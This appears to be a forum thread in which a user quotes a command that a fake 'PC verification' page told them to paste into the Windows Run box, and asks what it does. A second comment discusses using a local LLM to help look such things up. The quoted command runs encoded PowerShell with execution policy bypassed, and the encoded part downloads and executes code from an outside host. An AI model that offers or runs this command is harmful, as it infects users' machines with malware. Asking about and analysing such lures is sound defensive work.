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What does this command do that this website wants me to "verify" myself by running in the run window?
(sh.itjust.works)
Yeah don't put this in but can anyone give me an idea of what they were trying to do? the website was https:\howchoo.\com\3dprinting\updating-octoprint
and used a real pc verification screen to try to get me to put this in Run 
conhost cmd /c powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcABzADoALwAvAG0AYQBzAHQAcgBhAHcALgB0AG8AcAAvAG0AZQAvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGREDACTED== /W 1
That's not what I meant though, I said that it speeds up the process of looking it up. It's about as good as an unreliable peer that tells you what it thinks is happening. I can then research it myself based on the keywords that it mentions.
It is similar to a web search, but with how bad search results are these days (a large part because of other people making LLM generated garbage articles), I find that asking a locally hosted LLM will give me a better starting point. Since it's running on my own simple hardware, I'm not as worried about the resource cost compared to the tech companies' ones.
I agree with everything else you've said though